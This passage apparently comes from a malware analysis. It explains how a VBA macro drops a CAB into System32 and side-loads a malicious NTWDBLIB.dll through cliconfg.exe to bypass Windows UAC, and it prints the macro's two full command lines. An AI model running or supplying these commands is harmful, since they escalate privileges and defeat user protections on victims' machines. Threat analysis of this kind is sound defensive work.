The macro then extracts the CAB file into %systemroo%\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections) Command lines used by the Visual Basic macro:  cmd /c wusa %TEMP%\setup.cab /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe cmd /c expand %TEMP%\setup.cab -F:* %SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows
